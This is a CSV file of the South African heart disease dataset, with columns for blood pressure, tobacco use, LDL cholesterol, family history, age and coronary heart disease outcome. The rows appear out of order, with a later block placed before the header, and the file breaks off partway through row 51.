3.91,46,0 104,128, 0.42, 4.60,26.68,Absent,41,30.97, 10.33,31,0 105,118, 1.50, 5.38,25.84,Absent,64,28.63, 3.89,29,0 106,158, 3.60, 2.97,30.11,Absent,63,26.64,108.00,64,0 107,108, 1.50, 4.33,24.99,Absent,66,22.29, 21.60,61,1 108,170, 7.60, 5.50,37.83,Present,42,37.41, 6.17,54,1 109,118, 1.00, 5.76,22.10,Absent,62,23.48, 7.71,42,0 110,124, 0.00, 3.04,17.33,Absent,49,22.04, 0.00,18,0 111,114, 0.00, 8.01,21.64,Absent,66,25.51, 2.49,16,0 112,168, 9.00, 8.53,24.48,Present,69,26.18, 4.63,54,1 113,134, 2.00, 3.66,14.69,Absent,52,21.03, 2.06,37,0 114,174, 0.00, 8.46,35.10,Present,35,25.27, 0.00,61,1 115,116,31.20, 3.17,14.99,Absent,47,19.40, 49.06,59,1 116,128, 0.00,10.58,31.81,Present,46,28.41, 14.66,48,0 117,140, 4.50, 4.59,18.01,Absent,63,21.91, 22.09,32,1 118,154, 0.70, 5.91,25.00,Absent,13,20.60, 0.00,42,0 119,150, 3.50, 6.99,25.39,Present,50,23.35, 23.48,61,1 120,130, 0.00, 3.92,25.55,Absent,68,28.02, 0.68,27,0 121,128, 2.00, 6.13,21.31,Absent,66,22.86, 11.83,60,0 122,120, 1.40, 6.25,20.47,Absent,60,25.85, 8.51,28,0 123,120, 0.00, 5.01,26.13,Absent,64,26.21, 12.24,33,0 124,138, 4.50, 2.85,30.11,Absent,55,24.78, 24.89,56,1 125,153, 7.80, 3.96,25.73,Absent,54,25.91, 27.03,45,0 126,123, 8.60,11.17,35.28,Present,70,33.14, 0.00,59,1 127,148, 4.04, 3.99,20.69,Absent,60,27.78, 1.75,28,0 128,136, 3.96, 2.76,30.28,Present,50,34.42, 18.51,38,0 129,134, 8.80, 7.41,26.84,Absent,35,29.44, 29.52,60,1 130,152,12.18, 4.04,37.83,Present,63,34.57, 4.17,64,0 131,158,13.50, 5.04,30.79,Absent,54,24.79, 21.50,62,0 132,132, 2.00, 3.08,35.39,Absent,45,31.44, 79.82,58,1 133,134, 1.50, 3.73,21.53,Absent,41,24.70, 11.11,30,1 134,142, 7.44, 5.52,33.97,Absent,47,29.29, 24.27,54,0 135,134, 6.00, 3.30,28.45,Absent,65,26.09, 58.11,40,0 136,122, 4.18, 9.05,29.27,Present,44,24.05, 19.34,52,1 137,116, 2.70, 3.69,13.52,Absent,55,21.13, 18.51,32,0 138,128, 0.50, 3.70,12.81,Present,66,21.25, 22.73,28,0 139,120, 0.00, 3.68,12.24,Absent,51,20.52, 0.51,20,0 140,124, 0.00, 3.95,36.35,Present,59,32.83, 9.59,54,0 141,160,14.00, 5.90,37.12,Absent,58,33.87, 3.52,54,1 142,130, 2.78, 4.89, 9.39,Present,63,19.30, 17.47,25,1 143,128, 2.80, 5.53,14.29,Absent,64,24.97, 0.51,38,0 144,130, 4.50, 5.86,37.43,Absent,61,31.21, 32.30,58,0 145,109, 1.20, 6.14,29.26,Absent,47,24.72, 10.46,40,0 146,144, 0.00, 3.84,18.72,Absent,56,22.10, 4.80,40,0 147,118, 1.05, 3.16,12.98,Present,46,22.09, 16.35,31,0 148,136, 3.46, 6.38,32.25,Present,43,28.73, 3.13,43,1 149,136, 1.50, 6.06,26.54,Absent,54,29.38, 14.50,33,1 150,124,15.50, 5.05,24.06,Absent,46,23.22, 0.00,61,1 151,148, 6.00, 6.49,26.47,Absent,48,24.70, 0.00,55,0 152,128, 6.60, 3.58,20.71,Absent,55,24.15, 0.00,52,0 153,122, 0.28, 4.19,19.97,Absent,61,25.63, 0.00,24,0 154,108, 0.00, 2.74,11.17,Absent,53,22.61, 0.95,20,0 155,124, 3.04, 4.80,19.52,Present,60,21.78,147.19,41,1 156,138, 8.80, 3.12,22.41,Present,63,23.33,120.03,55,1 157,127, 0.00, 2.81,15.70,Absent,42,22.03, 1.03,17,0 158,174, 9.45, 5.13,35.54,Absent,55,30.71, 59.79,53,0 159,122, 0.00, 3.05,23.51,Absent,46,25.81, 0.00,38,0 160,144, 6.75, 5.45,29.81,Absent,53,25.62, 26.23,43,1 161,126, 1.80, 6.22,19.71,Absent,65,24.81, 0.69,31,0 162,208,27.40, 3.12,26.63,Absent,66,27.45, 33.07,62,1 163,138, 0.00, 2.68,17.04,Absent,42,22.16, 0.00,16,0 164,148, 0.00, 3.84,17.26,Absent,70,20.00, 0.00,21,0 165,122, 0.00, 3.08,16.30,Absent,43,22.13, 0.00,16,0 166,132, 7.00, 3.20,23.26,Absent,77,23.64, 23.14,49,0 167,110,12.16, 4.99,28.56,Absent,44,27.14, 21.60,55,1 168,160, 1.52, 8.12,29.30,Present,54,25.87, 12.86,43,1 169,126, 0.54, 4.39,21.13,Present,45,25.99, 0.00,25,0 170,162, 5.30, 7.95,33.58,Present,58,36.06, 8.23,48,0 171,194, 2.55, 6.89,33.88,Present,69,29.33, 0.00,41,0 172,118, 0.75, 2.58,20.25,Absent,59,24.46, 0.00,32,0 173,124, 0.00, 4.79,34.71,Absent,49,26.09, 9.26,47,0 174,160, 0.00, 2.42,34.46,Absent,48,29.83, 1.03,61,0 175,128, 0.00, 2.51,29.35,Present,53,22.05, 1.37,62,0 176,122, 4.00, 5.24,27.89,Present,45,26.52, 0.00,61,1 177,132, 2.00, 2.70,21.57,Present,50,27.95, 9.26,37,0 178,120, 0.00, 2.42,16.66,Absent,46,20.16, 0.00,17,0 179,128, 0.04, 8.22,28.17,Absent,65,26.24, 11.73,24,0 180,108,15.00, 4.91,34.65,Absent,41,27.96, 14.40,56,0 181,166, 0.00, 4.31,34.27,Absent,45,30.14, 13.27,56,0 182,152, 0.00, 6.06,41.05,Present,51,40.34, 0.00,51,0 183,170, 4.20, 4.67,35.45,Present,50,27.14, 7.92,60,1 184,156, 4.00, 2.05,19.48,Present,50,21.48, 27.77,39,1 185,116, 8.00, 6.73,28.81,Present,41,26.74, 40.94,48,1 186,122, 4.40, 3.18,11.59,Present,59,21.94, 0.00,33,1 187,150,20.00, 6.40,35.04,Absent,53,28.88, 8.33,63,0 188,129, 2.15, 5.17,27.57,Absent,52,25.42, 2.06,39,0 189,134, 4.80, 6.58,29.89,Present,55,24.73, 23.66,63,0 190,126, 0.00, 5.98,29.06,Present,56,25.39, 11.52,64,1 191,142, 0.00, 3.72,25.68,Absent,48,24.37, 5.25,40,1 192,128, 0.70, 4.90,37.42,Present,72,35.94, 3.09,49,1 193,102, 0.40, 3.41,17.22,Present,56,23.59, 2.06,39,1 194,130, 0.00, 4.89,25.98,Absent,72,30.42, 14.71,23,0 195,138, 0.05, 2.79,10.35,Absent,46,21.62, 0.00,18,0 196,138, 0.00, 1.96,11.82,Present,54,22.01, 8.13,21,0 197,128, 0.00, 3.09,20.57,Absent,54,25.63, 0.51,17,0 198,162, 2.92, 3.63,31.33,Absent,62,31.59, 18.51,42,0 199,160, 3.00, 9.19,26.47,Present,39,28.25, 14.40,54,1 200,148, 0.00, 4.66,24.39,Absent,50,25.26, 4.03,27,0 201,124, 0.16, 2.44,16.67,Absent,65,24.58, 74.91,23,0 202,136, 3.15, 4.37,20.22,Present,59,25.12, 47.16,31,1 203,134, 2.75, 5.51,26.17,Absent,57,29.87, 8.33,33,0 204,128, 0.73, 3.97,23.52,Absent,54,23.81, 19.20,64,0 205,122, 3.20, 3.59,22.49,Present,45,24.96, 36.17,58,0 206,152, 3.00, 4.64,31.29,Absent,41,29.34, 4.53,40,0 207,162, 0.00, 5.09,24.60,Present,64,26.71, 3.81,18,0 208,124, 4.00, 6.65,30.84,Present,54,28.40, 33.51,60,0 209,136, 5.80, 5.90,27.55,Absent,65,25.71, 14.40,59,0 210,136, 8.80, 4.26,32.03,Present,52,31.44, 34.35,60,0 211,134, 0.05, 8.03,27.95,Absent,48,26.88, 0.00,60,0 212,122, 1.00, 5.88,34.81,Present,69,31.27, 15.94,40,1 213,116, 3.00, 3.05,30.31,Absent,41,23.63, 0.86,44,0 214,132, 0.00, 0.98,21.39,Absent,62,26.75, 0.00,53,0 215,134, 0.00, 2.40,21.11,Absent,57,22.45, 1.37,18,0 216,160, 7.77, 8.07,34.80,Absent,64,31.15, 0.00,62,1 217,180, 0.52, 4.23,16.38,Absent,55,22.56, 14.77,45,1 218,124, 0.81, 6.16,11.61,Absent,35,21.47, 10.49,26,0 219,114, 0.00, 4.97, 9.69,Absent,26,22.60, 0.00,25,0 220,208, 7.40, 7.41,32.03,Absent,50,27.62, 7.85,57,0 221,138, 0.00, 3.14,12.00,Absent,54,20.28, 0.00,16,0 222,164, 0.50, 6.95,39.64,Present,47,41.76, 3.81,46,1 223,144, 2.40, 8.13,35.61,Absent,46,27.38, 13.37,60,0 224,136, 7.50, 7.39,28.04,Present,50,25.01, 0.00,45,1 225,132, 7.28, 3.52,12.33,Absent,60,19.48, 2.06,56,0 226,143, 5.04, 4.86,23.59,Absent,58,24.69, 18.72,42,0 227,112, 4.46, 7.18,26.25,Present,69,27.29, 0.00,32,1 228,134,10.00, 3.79,34.72,Absent,42,28.33, 28.80,52,1 229,138, 2.00, 5.11,31.40,Present,49,27.25, 2.06,64,1 230,188, 0.00, 5.47,32.44,Present,71,28.99, 7.41,50,1 231,110, 2.35, 3.36,26.72,Present,54,26.08,109.80,58,1 232,136,13.20, 7.18,35.95,Absent,48,29.19, 0.00,62,0 233,130, 1.75, 5.46,34.34,Absent,53,29.42, 0.00,58,1 234,122, 0.00, 3.76,24.59,Absent,56,24.36, 0.00,30,0 235,138, 0.00, 3.24,27.68,Absent,60,25.70, 88.66,29,0 236,130,18.00, 4.13,27.43,Absent,54,27.44, 0.00,51,1 237,126, 5.50, 3.78,34.15,Absent,55,28.85, 3.18,61,0 238,176, 5.76, 4.89,26.10,Present,46,27.30, 19.44,57,0 239,122, 0.00, 5.49,19.56,Absent,57,23.12, 14.02,27,0 240,124, 0.00, 3.23, 9.64,Absent,59,22.70, 0.00,16,0 241,140, 5.20, 3.58,29.26,Absent,70,27.29, 20.17,45,1 242,128, 6.00, 4.37,22.98,Present,50,26.01, 0.00,47,0 243,190, 4.18, 5.05,24.83,Absent,45,26.09, 82.85,41,0 244,144, 0.76,10.53,35.66,Absent,63,34.35, 0.00,55,1 245,126, 4.60, 7.40,31.99,Present,57,28.67, 0.37,60,1 246,128, 0.00, 2.63,23.88,Absent,45,21.59, 6.54,57,0 247,136, 0.40, 3.91,21.10,Present,63,22.30, 0.00,56,1 248,158, 4.00, 4.18,28.61,Present,42,25.11, 0.00,60,0 249,160, 0.60, 6.94,30.53,Absent,36,25.68, 1.42,64,0 250,124, 6.00, 5.21,33.02,Present,64,29.37, 7.61,58,1 251,158, 6.17, 8.12,30.75,Absent,46,27.84, 92.62,48,0 252,128, 0.00, 6.34,11.87,Absent,57,23.14, 0.00,17,0 253,166, 3.00, 3.82,26.75,Absent,45,20.86, 0.00,63,1 254,146, 7.50, 7.21,25.93,Present,55,22.51, 0.51,42,0 255,161, 9.00, 4.65,15.16,Present,58,23.76, 43.20,46,0 256,164,13.02, 6.26,29.38,Present,47,22.75, 37.03,54,1 257,146, 5.08, 7.03,27.41,Present,63,36.46, 24.48,37,1 258,142, 4.48, 3.57,19.75,Present,51,23.54, 3.29,49,0 259,138,12.00, 5.13,28.34,Absent,59,24.49, 32.81,58,1 260,154, 1.80, 7.13,34.04,Present,52,35.51, 39.36,44,0 261,118, 0.00, 2.39,12.13,Absent,49,18.46, 0.26,17,1 263,124, 0.61, 2.69,17.15,Present,61,22.76, 11.55,20,0 264,124, 1.04, 2.84,16.42,Present,46,20.17, 0.00,61,0 265,136, 5.00, 4.19,23.99,Present,68,27.80, 25.86,35,0 266,132, 9.90, 4.63,27.86,Present,46,23.39, 0.51,52,1 267,118, 0.12, 1.96,20.31,Absent,37,20.01, 2.42,18,0 268,118, 0.12, 4.16, 9.37,Absent,57,19.61, 0.00,17,0 269,134,12.00, 4.96,29.79,Absent,53,24.86, 8.23,57,0 270,114, 0.10, 3.95,15.89,Present,57,20.31, 17.14,16,0 271,136, 6.80, 7.84,30.74,Present,58,26.20, 23.66,45,1 272,130, 0.00, 4.16,39.43,Present,46,30.01, 0.00,55,1 273,136, 2.20, 4.16,38.02,Absent,65,37.24, 4.11,41,1 274,136, 1.36, 3.16,14.97,Present,56,24.98, 7.30,24,0 275,154, 4.20, 5.59,25.02,Absent,58,25.02, 1.54,43,0 276,108, 0.80, 2.47,17.53,Absent,47,22.18, 0.00,55,1 277,136, 8.80, 4.69,36.07,Present,38,26.56, 2.78,63,1 278,174, 2.02, 6.57,31.90,Present,50,28.75, 11.83,64,1 279,124, 4.25, 8.22,30.77,Absent,56,25.80, 0.00,43,0 280,114, 0.00, 2.63, 9.69,Absent,45,17.89, 0.00,16,0 281,118, 0.12, 3.26,12.26,Absent,55,22.65, 0.00,16,0 282,106, 1.08, 4.37,26.08,Absent,67,24.07, 17.74,28,1 283,146, 3.60, 3.51,22.67,Absent,51,22.29, 43.71,42,0 284,206, 0.00, 4.17,33.23,Absent,69,27.36, 6.17,50,1 285,134, 3.00, 3.17,17.91,Absent,35,26.37, 15.12,27,0 286,148,15.00, 4.98,36.94,Present,72,31.83, 66.27,41,1 287,126, 0.21, 3.95,15.11,Absent,61,22.17, 2.42,17,0 288,134, 0.00, 3.69,13.92,Absent,43,27.66, 0.00,19,0 289,134, 0.02, 2.80,18.84,Absent,45,24.82, 0.00,17,0 290,123, 0.05, 4.61,13.69,Absent,51,23.23, 2.78,16,0 291,112, 0.60, 5.28,25.71,Absent,55,27.02, 27.77,38,1 292,112, 0.00, 1.71,15.96,Absent,42,22.03, 3.50,16,0 293,101, 0.48, 7.26,13.00,Absent,50,19.82, 5.19,16,0 294,150, 0.18, 4.14,14.40,Absent,53,23.43, 7.71,44,0 295,170, 2.60, 7.22,28.69,Present,71,27.87, 37.65,56,1 296,134, 0.00, 5.63,29.12,Absent,68,32.33, 2.02,34,0 297,142, 0.00, 4.19,18.04,Absent,56,23.65, 20.78,42,1 298,132, 0.10, 3.28,10.73,Absent,73,20.42, 0.00,17,0 299,136, 0.00, 2.28,18.14,Absent,55,22.59, 0.00,17,0 300,132,12.00, 4.51,21.93,Absent,61,26.07, 64.80,46,1 301,166, 4.10, 4.00,34.30,Present,32,29.51, 8.23,53,0 302,138, 0.00, 3.96,24.70,Present,53,23.80, 0.00,45,0 303,138, 2.27, 6.41,29.07,Absent,58,30.22, 2.93,32,1 304,170, 0.00, 3.12,37.15,Absent,47,35.42, 0.00,53,0 305,128, 0.00, 8.41,28.82,Present,60,26.86, 0.00,59,1 306,136, 1.20, 2.78, 7.12,Absent,52,22.51, 3.41,27,0 307,128, 0.00, 3.22,26.55,Present,39,26.59, 16.71,49,0 308,150,14.40, 5.04,26.52,Present,60,28.84, 0.00,45,0 309,132, 8.40, 3.57,13.68,Absent,42,18.75, 15.43,59,1 310,142, 2.40, 2.55,23.89,Absent,54,26.09, 59.14,37,0 311,130, 0.05, 2.44,28.25,Present,67,30.86, 40.32,34,0 312,174, 3.50, 5.26,21.97,Present,36,22.04, 8.33,59,1 313,114, 9.60, 2.51,29.18,Absent,49,25.67, 40.63,46,0 314,162, 1.50, 2.46,19.39,Present,49,24.32, 0.00,59,1 315,174, 0.00, 3.27,35.40,Absent,58,37.71, 24.95,44,0 316,190, 5.15, 6.03,36.59,Absent,42,30.31, 72.00,50,0 317,154, 1.40, 1.72,18.86,Absent,58,22.67, 43.20,59,0 318,124, 0.00, 2.28,24.86,Present,50,22.24, 8.26,38,0 319,114, 1.20, 3.98,14.90,Absent,49,23.79, 25.82,26,0 320,168,11.40, 5.08,26.66,Present,56,27.04, 2.61,59,1 321,142, 3.72, 4.24,32.57,Absent,52,24.98, 7.61,51,0 322,154, 0.00, 4.81,28.11,Present,56,25.67, 75.77,59,0 323,146, 4.36, 4.31,18.44,Present,47,24.72, 10.80,38,0 324,166, 6.00, 3.02,29.30,Absent,35,24.38, 38.06,61,0 325,140, 8.60, 3.90,32.16,Present,52,28.51, 11.11,64,1 326,136, 1.70, 3.53,20.13,Absent,56,19.44, 14.40,55,0 327,156, 0.00, 3.47,21.10,Absent,73,28.40, 0.00,36,1 328,132, 0.00, 6.63,29.58,Present,37,29.41, 2.57,62,0 329,128, 0.00, 2.98,12.59,Absent,65,20.74, 2.06,19,0 330,106, 5.60, 3.20,12.30,Absent,49,20.29, 0.00,39,0 331,144, 0.40, 4.64,30.09,Absent,30,27.39, 0.74,55,0 332,154, 0.31, 2.33,16.48,Absent,33,24.00, 11.83,17,0 333,126, 3.10, 2.01,32.97,Present,56,28.63, 26.74,45,0 334,134, 6.40, 8.49,37.25,Present,56,28.94, 10.49,51,1 335,152,19.45, 4.22,29.81,Absent,28,23.95, 0.00,59,1 336,146, 1.35, 6.39,34.21,Absent,51,26.43, 0.00,59,1 337,162, 6.94, 4.55,33.36,Present,52,27.09, 32.06,43,0 338,130, 7.28, 3.56,23.29,Present,20,26.80, 51.87,58,1 339,138, 6.00, 7.24,37.05,Absent,38,28.69, 0.00,59,0 340,148, 0.00, 5.32,26.71,Present,52,32.21, 32.78,27,0 341,124, 4.20, 2.94,27.59,Absent,50,30.31, 85.06,30,0 342,118, 1.62, 9.01,21.70,Absent,59,25.89, 21.19,40,0 343,116, 4.28, 7.02,19.99,Present,68,23.31, 0.00,52,1 344,162, 6.30, 5.73,22.61,Present,46,20.43, 62.54,53,1 345,138, 0.87, 1.87,15.89,Absent,44,26.76, 42.99,31,0 346,137, 1.20, 3.14,23.87,Absent,66,24.13, 45.00,37,0 347,198, 0.52,11.89,27.68,Present,48,28.40, 78.99,26,1 348,154, 4.50, 4.75,23.52,Present,43,25.76, 0.00,53,1 349,128, 5.40, 2.36,12.98,Absent,51,18.36, 6.69,61,0 350,130, 0.08, 5.59,25.42,Present,50,24.98, 6.27,43,1 351,162, 5.60, 4.24,22.53,Absent,29,22.91, 5.66,60,0 352,120,10.50, 2.70,29.87,Present,54,24.50, 16.46,49,0 353,136, 3.99, 2.58,16.38,Present,53,22.41, 27.67,36,0 354,176, 1.20, 8.28,36.16,Present,42,27.81, 11.60,58,1 355,134,11.79, 4.01,26.57,Present,38,21.79, 38.88,61,1 356,122, 1.70, 5.28,32.23,Present,51,24.08, 0.00,54,0 357,134, 0.90, 3.18,23.66,Present,52,23.26, 27.36,58,1 358,134, 0.00, 2.43,22.24,Absent,52,26.49, 41.66,24,0 359,136, 6.60, 6.08,32.74,Absent,64,33.28, 2.72,49,0 360,132, 4.05, 5.15,26.51,Present,31,26.67, 16.30,50,0 361,152, 1.68, 3.58,25.43,Absent,50,27.03, 0.00,32,0 362,132,12.30, 5.96,32.79,Present,57,30.12, 21.50,62,1 363,124, 0.40, 3.67,25.76,Absent,43,28.08, 20.57,34,0 364,140, 4.20, 2.91,28.83,Present,43,24.70, 47.52,48,0 365,166, 0.60, 2.42,34.03,Present,53,26.96, 54.00,60,0 366,156, 3.02, 5.35,25.72,Present,53,25.22, 28.11,52,1 367,132, 0.72, 4.37,19.54,Absent,48,26.11, 49.37,28,0 368,150, 0.00, 4.99,27.73,Absent,57,30.92, 8.33,24,0 369,134, 0.12, 3.40,21.18,Present,33,26.27, 14.21,30,0 370,126, 3.40, 4.87,15.16,Present,65,22.01, 11.11,38,0 371,148, 0.50, 5.97,32.88,Absent,54,29.27, 6.43,42,0 372,148, 8.20, 7.75,34.46,Present,46,26.53, 6.04,64,1 373,132, 6.00, 5.97,25.73,Present,66,24.18,145.29,41,0 374,128, 1.60, 5.41,29.30,Absent,68,29.38, 23.97,32,0 375,128, 5.16, 4.90,31.35,Present,57,26.42, 0.00,64,0 376,140, 0.00, 2.40,27.89,Present,70,30.74,144.00,29,0 377,126, 0.00, 5.29,27.64,Absent,25,27.62, 2.06,45,0 378,114, 3.60, 4.16,22.58,Absent,60,24.49, 65.31,31,0 379,118, 1.25, 4.69,31.58,Present,52,27.16, 4.11,53,0 380,126, 0.96, 4.99,29.74,Absent,66,33.35, 58.32,38,0 381,154, 4.50, 4.68,39.97,Absent,61,33.17, 1.54,64,1 382,112, 1.44, 2.71,22.92,Absent,59,24.81, 0.00,52,0 383,140, 8.00, 4.42,33.15,Present,47,32.77, 66.86,44,0 384,140, 1.68,11.41,29.54,Present,74,30.75, 2.06,38,1 385,128, 2.60, 4.94,21.36,Absent,61,21.30, 0.00,31,0 386,126,19.60, 6.03,34.99,Absent,49,26.99, 55.89,44,0 387,160, 4.20, 6.76,37.99,Present,61,32.91, 3.09,54,1 388,144, 0.00, 4.17,29.63,Present,52,21.83, 0.00,59,0 389,148, 4.50,10.49,33.27,Absent,50,25.92, 2.06,53,1 390,146, 0.00, 4.92,18.53,Absent,57,24.20, 34.97,26,0 391,164, 5.60, 3.17,30.98,Present,44,25.99, 43.20,53,1 392,130, 0.54, 3.63,22.03,Present,69,24.34, 12.86,39,1 393,154, 2.40, 5.63,42.17,Present,59,35.07, 12.86,50,1 394,178, 0.95, 4.75,21.06,Absent,49,23.74, 24.69,61,0 395,180, 3.57, 3.57,36.10,Absent,36,26.70, 19.95,64,0 396,134,12.50, 2.73,39.35,Absent,48,35.58, 0.00,48,0 397,142, 0.00, 3.54,16.64,Absent,58,25.97, 8.36,27,0 398,162, 7.00, 7.67,34.34,Present,33,30.77, 0.00,62,0 399,218,11.20, 2.77,30.79,Absent,38,24.86, 90.93,48,1 400,126, 8.75, 6.06,32.72,Present,33,27.00, 62.43,55,1 401,126, 0.00, 3.57,26.01,Absent,61,26.30, 7.97,47,0 402,134, 6.10, 4.77,26.08,Absent,47,23.82, 1.03,49,0 403,132, 0.00, 4.17,36.57,Absent,57,30.61, 18.00,49,0 404,178, 5.50, 3.79,23.92,Present,45,21.26, 6.17,62,1 405,208, 5.04, 5.19,20.71,Present,52,25.12, 24.27,58,1 406,160, 1.15,10.19,39.71,Absent,31,31.65, 20.52,57,0 407,116, 2.38, 5.67,29.01,Present,54,27.26, 15.77,51,0 408,180,25.01, 3.70,38.11,Present,57,30.54, 0.00,61,1 409,200,19.20, 4.43,40.60,Present,55,32.04, 36.00,60,1 410,112, 4.20, 3.58,27.14,Absent,52,26.83, 2.06,40,0 411,120, 0.00, 3.10,26.97,Absent,41,24.80, 0.00,16,0 412,178,20.00, 9.78,33.55,Absent,37,27.29, 2.88,62,1 413,166, 0.80, 5.63,36.21,Absent,50,34.72, 28.80,60,0 414,164, 8.20,14.16,36.85,Absent,52,28.50, 17.02,55,1 415,216, 0.92, 2.66,19.85,Present,49,20.58, 0.51,63,1 416,146, 6.40, 5.62,33.05,Present,57,31.03, 0.74,46,0 417,134, 1.10, 3.54,20.41,Present,58,24.54, 39.91,39,1 418,158,16.00, 5.56,29.35,Absent,36,25.92, 58.32,60,0 419,176, 0.00, 3.14,31.04,Present,45,30.18, 4.63,45,0 420,132, 2.80, 4.79,20.47,Present,50,22.15, 11.73,48,0 421,126, 0.00, 4.55,29.18,Absent,48,24.94, 36.00,41,0 422,120, 5.50, 3.51,23.23,Absent,46,22.40, 90.31,43,0 423,174, 0.00, 3.86,21.73,Absent,42,23.37, 0.00,63,0 424,150,13.80, 5.10,29.45,Present,52,27.92, 77.76,55,1 425,176, 6.00, 3.98,17.20,Present,52,21.07, 4.11,61,1 426,142, 2.20, 3.29,22.70,Absent,44,23.66, 5.66,42,1 427,132, 0.00, 3.30,21.61,Absent,42,24.92, 32.61,33,0 428,142, 1.32, 7.63,29.98,Present,57,31.16, 72.93,33,0 429,146, 1.16, 2.28,34.53,Absent,50,28.71, 45.00,49,0 430,132, 7.20, 3.65,17.16,Present,56,23.25, 0.00,34,0 431,120, 0.00, 3.57,23.22,Absent,58,27.20, 0.00,32,0 432,118, 0.00, 3.89,15.96,Absent,65,20.18, 0.00,16,0 433,108, 0.00, 1.43,26.26,Absent,42,19.38, 0.00,16,0 434,136, 0.00, 4.00,19.06,Absent,40,21.94, 2.06,16,0 435,120, 0.00, 2.46,13.39,Absent,47,22.01, 0.51,18,0 436,132, 0.00, 3.55, 8.66,Present,61,18.50, 3.87,16,0 437,136, 0.00, 1.77,20.37,Absent,45,21.51, 2.06,16,0 438,138, 0.00, 1.86,18.35,Present,59,25.38, 6.51,17,0 439,138, 0.06, 4.15,20.66,Absent,49,22.59, 2.49,16,0 440,130, 1.22, 3.30,13.65,Absent,50,21.40, 3.81,31,0 441,130, 4.00, 2.40,17.42,Absent,60,22.05, 0.00,40,0 442,110, 0.00, 7.14,28.28,Absent,57,29.00, 0.00,32,0 443,120, 0.00, 3.98,13.19,Present,47,21.89, 0.00,16,0 444,166, 6.00, 8.80,37.89,Absent,39,28.70, 43.20,52,0 445,134, 0.57, 4.75,23.07,Absent,67,26.33, 0.00,37,0 446,142, 3.00, 3.69,25.10,Absent,60,30.08, 38.88,27,0 447,136, 2.80, 2.53, 9.28,Present,61,20.70, 4.55,25,0 448,142, 0.00, 4.32,25.22,Absent,47,28.92, 6.53,34,1 449,130, 0.00, 1.88,12.51,Present,52,20.28, 0.00,17,0 450,124, 1.80, 3.74,16.64,Present,42,22.26, 10.49,20,0 451,144, 4.00, 5.03,25.78,Present,57,27.55, 90.00,48,1 452,136, 1.81, 3.31, 6.74,Absent,63,19.57, 24.94,24,0 453,120, 0.00, 2.77,13.35,Absent,67,23.37, 1.03,18,0 454,154, 5.53, 3.20,28.81,Present,61,26.15, 42.79,42,0 455,124, 1.60, 7.22,39.68,Present,36,31.50, 0.00,51,1 456,146, 0.64, 4.82,28.02,Absent,60,28.11, 8.23,39,1 457,128, 2.24, 2.83,26.48,Absent,48,23.96, 47.42,27,1 458,170, 0.40, 4.11,42.06,Present,56,33.10, 2.06,57,0 459,214, 0.40, 5.98,31.72,Absent,64,28.45, 0.00,58,0 460,182, 4.20, 4.41,32.10,Absent,52,28.61, 18.72,52,1 461,108, 3.00, 1.59,15.23,Absent,40,20.09, 26.64,55,0 462,118, 5.40,11.61,30.79,Absent,64,27.35, 23.97,40,0 463,132, 0.00, 4.82,33.41,Present,62,14.70, 0.00,46,1
{ "pile_set_name": "Github" }
row.names,sbp,tobacco,ldl,adiposity,famhist,typea,obesity,alcohol,age,chd 1,160,12.00, 5.73,23.11,Present,49,25.30, 97.20,52,1 2,144, 0.01, 4.41,28.61,Absent,55,28.87, 2.06,63,1 3,118, 0.08, 3.48,32.28,Present,52,29.14, 3.81,46,0 4,170, 7.50, 6.41,38.03,Present,51,31.99, 24.26,58,1 5,134,13.60, 3.50,27.78,Present,60,25.99, 57.34,49,1 6,132, 6.20, 6.47,36.21,Present,62,30.77, 14.14,45,0 7,142, 4.05, 3.38,16.20,Absent,59,20.81, 2.62,38,0 8,114, 4.08, 4.59,14.60,Present,62,23.11, 6.72,58,1 9,114, 0.00, 3.83,19.40,Present,49,24.86, 2.49,29,0 10,132, 0.00, 5.80,30.96,Present,69,30.11, 0.00,53,1 11,206, 6.00, 2.95,32.27,Absent,72,26.81, 56.06,60,1 12,134,14.10, 4.44,22.39,Present,65,23.09, 0.00,40,1 13,118, 0.00, 1.88,10.05,Absent,59,21.57, 0.00,17,0 14,132, 0.00, 1.87,17.21,Absent,49,23.63, 0.97,15,0 15,112, 9.65, 2.29,17.20,Present,54,23.53, 0.68,53,0 16,117, 1.53, 2.44,28.95,Present,35,25.89, 30.03,46,0 17,120, 7.50,15.33,22.00,Absent,60,25.31, 34.49,49,0 18,146,10.50, 8.29,35.36,Present,78,32.73, 13.89,53,1 19,158, 2.60, 7.46,34.07,Present,61,29.30, 53.28,62,1 20,124,14.00, 6.23,35.96,Present,45,30.09, 0.00,59,1 21,106, 1.61, 1.74,12.32,Absent,74,20.92, 13.37,20,1 22,132, 7.90, 2.85,26.50,Present,51,26.16, 25.71,44,0 23,150, 0.30, 6.38,33.99,Present,62,24.64, 0.00,50,0 24,138, 0.60, 3.81,28.66,Absent,54,28.70, 1.46,58,0 25,142,18.20, 4.34,24.38,Absent,61,26.19, 0.00,50,0 26,124, 4.00,12.42,31.29,Present,54,23.23, 2.06,42,1 27,118, 6.00, 9.65,33.91,Absent,60,38.80, 0.00,48,0 28,145, 9.10, 5.24,27.55,Absent,59,20.96, 21.60,61,1 29,144, 4.09, 5.55,31.40,Present,60,29.43, 5.55,56,0 30,146, 0.00, 6.62,25.69,Absent,60,28.07, 8.23,63,1 31,136, 2.52, 3.95,25.63,Absent,51,21.86, 0.00,45,1 32,158, 1.02, 6.33,23.88,Absent,66,22.13, 24.99,46,1 33,122, 6.60, 5.58,35.95,Present,53,28.07, 12.55,59,1 34,126, 8.75, 6.53,34.02,Absent,49,30.25, 0.00,41,1 35,148, 5.50, 7.10,25.31,Absent,56,29.84, 3.60,48,0 36,122, 4.26, 4.44,13.04,Absent,57,19.49, 48.99,28,1 37,140, 3.90, 7.32,25.05,Absent,47,27.36, 36.77,32,0 38,110, 4.64, 4.55,30.46,Absent,48,30.90, 15.22,46,0 39,130, 0.00, 2.82,19.63,Present,70,24.86, 0.00,29,0 40,136,11.20, 5.81,31.85,Present,75,27.68, 22.94,58,1 41,118, 0.28, 5.80,33.70,Present,60,30.98, 0.00,41,1 42,144, 0.04, 3.38,23.61,Absent,30,23.75, 4.66,30,0 43,120, 0.00, 1.07,16.02,Absent,47,22.15, 0.00,15,0 44,130, 2.61, 2.72,22.99,Present,51,26.29, 13.37,51,1 45,114, 0.00, 2.99, 9.74,Absent,54,46.58, 0.00,17,0 46,128, 4.65, 3.31,22.74,Absent,62,22.95, 0.51,48,0 47,162, 7.40, 8.55,24.65,Present,64,25.71, 5.86,58,1 48,116, 1.91, 7.56,26.45,Present,52,30.01, 3.60,33,1 49,114, 0.00, 1.94,11.02,Absent,54,20.17, 38.98,16,0 50,126, 3.80, 3.88,31.79,Absent,57,30.53, 0.00,30,0 51,122, 0.00, 